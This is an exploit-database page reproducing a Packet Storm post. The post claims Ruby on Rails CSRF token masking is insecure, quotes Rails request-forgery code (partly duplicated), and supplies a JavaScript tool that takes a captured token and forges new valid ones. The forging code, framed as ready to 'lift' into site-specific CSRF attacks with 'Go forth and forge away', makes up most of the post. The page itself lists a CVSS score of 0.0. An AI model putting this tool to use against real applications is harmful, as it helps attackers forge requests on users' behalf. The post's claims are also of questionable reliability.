Ruby on Rails Cross Site Request Forgery

Exploit Details

Basic Information

Exploit Title Ruby on Rails Cross Site Request Forgery
Exploit ID PACKETSTORM:190681
Type packetstorm
Published 2025-04-28T00:00:00
Modified 2025-04-28T00:00:00

CVSS Information

CVSS Score 0.0
Severity NONE
Vector NONE

CVE Information

Exploit Description

Ruby on Rails appears to include a one time pad for cross site request…

Exploit Code

Good morning. All current versions and all versions since the 2022/2023 “fix” to the Rails cross-site request forgery (CSRF) protections continue to be vulnerable to the same attacks as the 2022 implementation. Currently, Rails generates “authenticity tokens” and “csrf tokens” using a random “one time pad” (OTP). This random value is then XORed with the “raw token” (which can take one of two forms based on if per-form CSRF protections are in place). Rails then, incorrectly, packages both the OTP and the XORed “raw token” together (through basic string concatenation) to form a “masked token”, which is what is then sent to the user. Since the key (in this case the OTP) is included with the “ciphertext”, attackers can “decrypt” the “encrypted CSRF token”, generate their own random value (OTP), and then recreate the token or simply replay the token. Forging of the “raw token” can also be performed. Below is some of the offending code from Rails main branch’s request_forgery_protec
tion.rb:

# Creates a masked version of the authenticity token that varies on each
# request. The masking is used to mitigate SSL attacks like BREACH.
def masked_authenticity_token(form_options: {})
action, method = form_options.values_at(:action, :method)

raw_token = if per_form_csrf_tokens && action && method
action_path = normalize_action_path(action)
per_form_csrf_token(nil, action_path, method)
else
global_csrf_token
end

mask_token(raw_token)
end

def mask_token(raw_token) # :doc:
one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
masked_token = one_time_pad + encrypted_csrf_token
encode_csrf_token(masked_token)
end

def real_csrf_token(_session = nil) # :doc:
csrf_token = request.env.fetch(CSRF_TOKEN) do
request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
end

decode_csrf_token(csrf_token)
end

def per_form_csrf_token(session, action_path, method) # :doc:
csrf_token_hmac(session, [action_path, method.downcase].join(“#”))
end

def csrf_token_hmac(session, identifier) # :doc:
OpenSSL::HMAC.digest(
OpenSSL::Digest::SHA256.new,
real_csrf_token(session),
identifier
)
end

def real_csrf_token(_session = nil) # :doc:
csrf_token = request.env.fetch(CSRF_TOKEN) do
request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
end

decode_csrf_token(csrf_token)
end

def per_form_csrf_token(session, action_path, method) # :doc:
csrf_token_hmac(session, [action_path, method.downcase].join(“#”))
end

For a simple JavaScript-based tool that can take any given CSRF token and forge a new token that has the same valid “raw token”, see the below. The code can easily be lifted and put into some website-specific CSRF attack (how you get your tokens is your business):

/**
* This method returns the “one time pad”, extracting it from the full, base64 encoded token.
*
* @param {string} full_token – The base64-encoded nonce intended to provide CSRF protections
* @return {Uint8Array} The “one time pad” as a byte array
*/
function getOpt(full_token) {
var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
return decoded_token.subarray(0, 32);
}

/**
* This method returns the raw (XORed) token from the CSRF token. The “raw token” is defined by Rails as the CSRF token, which can either be global (per-form CSRF protections are disabled) or per-form (in which case it’s a SHA256 hash of the session, action, and method).
*
* @param {string} full_token – The base64-encoded nonce intended to provide CSRF protections
* @return {Uint8Array} The “raw token” as a byte array
*/
function getRawToken(full_token) {
var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
var otp = decoded_token.subarray(0, 32);
var masked_token = decoded_token.subarray(32);
var raw_token = new Uint8Array(masked_token.length);

// XOR the OTP and “masked token”
for(var i = 0; i < masked_token.length; i++) {
raw_token[i] = (otp[i] ^ masked_token[i]) & 0xFF;
}
return raw_token;
}

/**
* This method returns a new cross-site request forgery token (CSRF) using the given “one time pad” and “raw token”.
*
* @param {Uint8Array} otp – The “one time pad” that we are going to make the masked token with
* @param {Uint8Array} raw_token – The byte array that is the “raw token”
* @return {String} The new CSRF token
*/
function getCsrfToken(otp, raw_token) {
var masked_token = new Uint8Array(raw_token.length);

// XOR the OTP and “raw token”
for(var i = 0; i < raw_token.length; i++) {
masked_token[i] = (otp[i] ^ raw_token[i]) & 0xFF;
}

// Merge the OTP and masked token into a single array
var csrf_token = new Uint8Array(otp.length + masked_token.length);
csrf_token.set(otp);
csrf_token.set(masked_token, otp.length);

// Base64 and remove the padding (because they remove it in Rails)
return btoa(Array.from(csrf_token, b => String.fromCharCode(b)).join(”)).replace(/=+$/, ”);
}

/**
* This method is a “helper method” that is just here for looks…….
*
* @param {Uint8Array} bytes – The byte array to turn into a hex string
* @return {String} A pretty hexidecimal string representation of the given array
*/
function byteArrayToHexString(bytes) {
var hex_string = “”;
for(var i = 0; i < bytes.length; i++) {
hex_string += (‘0’ + (bytes[i] & 0xFF).toString(16)).slice(-2);
}
return hex_string;
}

// Replace this with the stolen token or have your CSRF POC grab the token from the page and use that
var token = “INSERT YOUR TOKEN HERE”;

// Change the OTP to something else
var otp = getOpt(token);
otp[0] = 0xFF;
otp[1] = 0x00;

// Prove that we produce the same raw token, which is all that matters
if(byteArrayToHexString(getRawToken(token)) == byteArrayToHexString(getRawToken(getCsrfToken(otp, getRawToken(token))))){
console.log(“The new token that works is: ” + getCsrfToken(otp, getRawToken(token)));
console.log(“Go forth and forge away…”);
}
else {
console.log(“We failed as testers/programmers…”);
}

View Full Exploit Details

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.